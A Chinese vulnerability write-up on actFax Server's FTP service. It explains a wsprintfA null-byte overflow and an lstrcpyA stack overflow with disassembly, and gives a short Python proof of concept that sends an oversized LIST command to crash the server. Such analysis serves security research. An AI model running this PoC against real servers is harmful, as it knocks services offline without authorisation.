wsprintf格式化拷贝null字节问题

今天在分析exploit-db上面的actFax Server FTP Remote BOF (post auth) Bigger Buffer时,http://www.exploit-db.com/exploits/17373/


顺带看了下有没别的可以利用的地方,这个actfax采用了大量的不安全的拷贝、格式化函数,很容易出现问题


在ftp处理网络中的数据时,最大的数据为0x400大小,在使用wsprintfA格式化这个数据时,只分配了大小刚好的0x400的堆栈,这样会导致问题


wsprintf在格式化时会拷贝字符串最后一个null字节,这样0x400的数据,实际上格式化后拷贝的为0x401数据,最后一个为0x00,会导致返回地址


最低位被填0x00,导致软件crash掉。

bug汇编形态代码:

.text:00458350 sub_458350      proc near               ; CODE XREF: MainListenThread+7Dp
.text:00458350                                         ; MainListenThread+E4p ...
.text:00458350
.text:00458350 Buffer          = byte ptr -400h
.text:00458350 arg_0           = dword ptr  4
.text:00458350 arg_4           = dword ptr  8
.text:00458350
.text:00458350                 mov     eax, [esp+arg_4]
.text:00458354                 sub     esp, 400h
.text:0045835A                 lea     ecx, [esp+400h+Buffer]
.text:0045835E                 push    eax
.text:0045835F                 push    offset aS_11    ; "%s\r\n"
.text:00458364                 push    ecx             ; LPSTR
.text:00458365                 call    ds:wsprintfA
.text:0045836B                 mov     eax, [esp+40Ch+arg_0]
.text:00458372                 lea     edx, [esp+40Ch+Buffer]
.text:00458376                 push    0FFFFFFFFh      ; nNumberOfBytesToWrite
.text:00458378                 push    edx             ; lpBuffer
.text:00458379                 push    eax             ; int
.text:0045837A                 call    sub_4B7A70      ; bug 如果刚好400字节 wsprintf会多拷贝一个00字节导致返回地址被改变
.text:0045837F                 add     esp, 418h
.text:00458385                 retn
.text:00458385 sub_458350      endp


poc:

#!/usr/bin/python

import socket
import sys

typebuffer = "\x41"*1024
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.1.113',21))

print (s.recv(1024))
s.send('USER ' + 'Administrator\r\n')
print (s.recv(1024))
s.send('PASS \r\n')
print (s.recv(1024))
s.send('LIST'+ typebuffer + '\r\n')

s.close



另外这个actFax Server FTP Remote BOF (post auth) Bigger Buffer的产生是因为分配了大小0x300的堆栈,然后直接使用lstrcpy函数进行拷贝,最大的


数据大小为0x400,导致堆栈溢出。

.text:00458410 ; int __cdecl sub_458410(LPCSTR NetWorkData)
.text:00458410 sub_458410      proc near               ; CODE XREF: MainListenThread+817p
.text:00458410
.text:00458410 String1         = byte ptr -300h
.text:00458410 String2         = byte ptr -200h
.text:00458410 var_100         = byte ptr -100h
.text:00458410 NetWorkData     = dword ptr  4
.text:00458410
.text:00458410                 mov     eax, [esp+NetWorkData]
.text:00458414                 sub     esp, 300h
.text:0045841A                 lea     ecx, [esp+300h+String1]
.text:0045841E                 push    esi
.text:0045841F                 mov     esi, ds:lstrcpyA
.text:00458425                 push    eax             ; lpString2
.text:00458426                 push    ecx             ; lpString1
.text:00458427                 call    esi ; lstrcpyA//堆栈溢出


评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值